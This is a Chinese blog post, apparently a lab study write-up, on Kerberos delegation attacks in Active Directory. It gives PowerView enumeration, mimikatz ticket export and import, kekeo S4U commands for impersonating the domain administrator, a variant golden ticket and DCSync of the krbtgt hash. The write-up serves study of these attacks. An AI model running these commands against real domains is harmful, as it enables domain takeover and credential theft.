前言
此文为前文域委派攻击学习后的再次思考，因为先前学习时候部分环境有些局限，可能理解不够透彻，此文再次进行反思&总结
https://www.cnblogs.com/Yang34/p/14264356.html 第一个版本的文章原理啥的更加详细些，这回的文章方向不同些，如果错误请大佬指正
简介
委派：用户A利用自己的身份可以访问到一个网站B，请求网站的资源C，但是网站B上边本身没有资源C，那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户
用户A->网站B->用户A的身份->资源C
非约束委派：用户访问服务1的时候，如果服务1的账户开启了非约束委派，那么用户就将自己的tgt发送给了服务器进行访问，随后服务1就可以利用这个tgt也就是用户的身份去访问其他服务，也就造成了非常大的身份假冒的风险，如果控下了一台非约束委派的机器，那么久能够从这台机器上导出用户的tgt，为了解决这个安全隐患出现了约束委派
约束委派：通过域管对服务1进行限制，当用户访问服务1的时候，使得服务1只能用用户身份访问服务2，而无法访问其他任意的服务
s4u：S4U2proxy、S4U2self
官方文档：https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94?redirectedfrom=MSDN
S4U2self：进行验证协议切换，用户访问了服务1后，服务1要利用kerberos协议以用户的身份访问服务2，当然用户访问服务1时候也是要用kerberos协议进行验证，但如果不是该如何解决？
服务1可能是个网站，用户登录网站输入的账户并不一定是域账户密码，这时候就需要用S4U2self进行解决
如果服务1有了S4U2self的权限，服务1能够以域内用户身份向kdc申请一个访问服务1自身的凭证，而且不需要知道目标用户的密码，如服务1可以用域管用户向kdc申请一个访问服务1自身的凭证，如果能够找到这个服务，就有可能可以通过这个服务提权至域管
前期准备
当前环境
域控机器：OWA2013.rootkit.org
服务机器：Srv-Web-Kit.rootkit.org
终端机器：PC-micle-Kit.rootkit.org
主机账户&服务账户开启委派如下：
关于三个选项
不信任此用户作为委派：不开启委派
信任此用户作为任何服务的委派：非约束委派
仅信任此用户作为指定服务的委派：约束委派
信息收集
此处powerview版本是有不同的，请自行注意~~
非约束委派
powerview
Get-domaincomputer -Unconstrained -Domain rootkit.org
Get-DomainUser -Unconstrained -Domain rootkit.org
Get-NetUser -Unconstrained -Domain rootkit.org
Get-NetComputer -Unconstrained -Domain rootkit.org
约束委派
Get-DomainUser -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-NetUser -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-NetComputer -TrustedToAuth -Domain rootkit.org -Verbose | fl
确认dbadmin开启约束委派，对应服务为PC-micle-Kit的cifs
允许委派的账户
Get-NetUser -AllowDelegation -AdminCount -Domain rootkit.org 获得管理员账户
Get-NetUser -AllowDelegation -Domain rootkit.org 获得普通用户
针对非约束委派
非约束委派，配置服务账户如下：
非约束委派中如果service1能够获得用户的tgt，那么service1就可以模拟用户访问service2的服务
结合当前情况，以开启委派功能的服务账户dbaadmin运行的机器Srv-Web-Kit会缓存用户的tgt，当用户能够到处凭证时即可通过ptt进行攻击
mimikatz导出凭证
如下为导出的凭证，有管理员（ituser）&主机账户的
mimikatz导入凭证
再次连接域控服务
针对约束委派
服务账户配置如下，对目标机器的cifs
约束委派的情况下，服务账户能够获取到用户的tgs，从而模拟用户访问特定的服务，这里主机中是无法抓到用户的TGT的，但攻击者可以获取到开启非约束委派服务账户的口令或hash，也可以进一步构造tgt&s4u请求
伪装成服务账户能够获得任意账户的权限（如域管）从而获得tgs，其中服务账户的明文口令可以通过kerberoasting获取
请求服务用户的TGT
tgt::ask /user:dbadmin /domain:rootkit.org /password:admin!@#45 /ticket:dbadmintest.kirbi
通过s4u请求以administrator身份访问PC-micle-Kit.rootkit.org的ST
kekeo.exe "tgs::s4u /tgt:TGT_dbadmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:cifs/PC-micle-Kit.rootkit.org" exit
相关凭证如下，此处mimikatz导入凭证即可，不再赘述
约束委派&变种黄金票据
此处变种黄金票据在2012及以后的机器域控上无法成功，因为推出了基于资源的约束委派
什么是黄金票据？伪造TGT，当获取了krbtgt的hash或者key之后可以自行进行伪造tgt，但是krbtgt的hash一旦被修改，那么先前生成的黄金票据就无法进行使用了
此处的变种黄金票据并不依赖于krbtgt的账户&hash，但是是会在系统日志留下痕迹
实际使用
确认账户如下，并设定服务账户
setspn -A test/goldentest yangyang1
设定委派信息如下
Import-Module activedirectory
$user = Get-ADUser yangyang1 -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/motoo.nc") }
通过现有账户获得目标服务tgt
kekeo.exe "tgt::ask /user:yangyang1 /domain:motoo.nc /password:Aa111111" exit
通过s4u获取域管访问krbtgt/motoo.nc的tgs，也就是域管的tgt
kekeo.exe "tgs::s4u /tgt:TGT_yangyang1@MOTOO.NC_krbtgt~motoo.nc@MOTOO.NC.kirbi /user:Administrator@motoo.nc /service:krbtgt/motoo.nc" exit
导入获得的凭证
确认获得凭证
确认获得权限
约束委派&DCSync
利用dc的ldap通过约束委派获取ldap服务的凭证从而dcsync
实际使用
设定服务用户
setspn -A test/ldaptest yangldap
给服务用户设定委派信息如下
Import-Module activedirectory
$user = Get-ADUser yangldap -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/OWA2013.rootkit.org") }
kekeo.exe "tgt::ask /user:yangldap /domain:rootkit.org /password:Aa111111" exit
kekeo.exe "tgs::s4u /tgt:TGT_yangldap@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:ldap/OWA2013.rootkit.org" exit
写入内存
dcsync直接拖krbtgthash
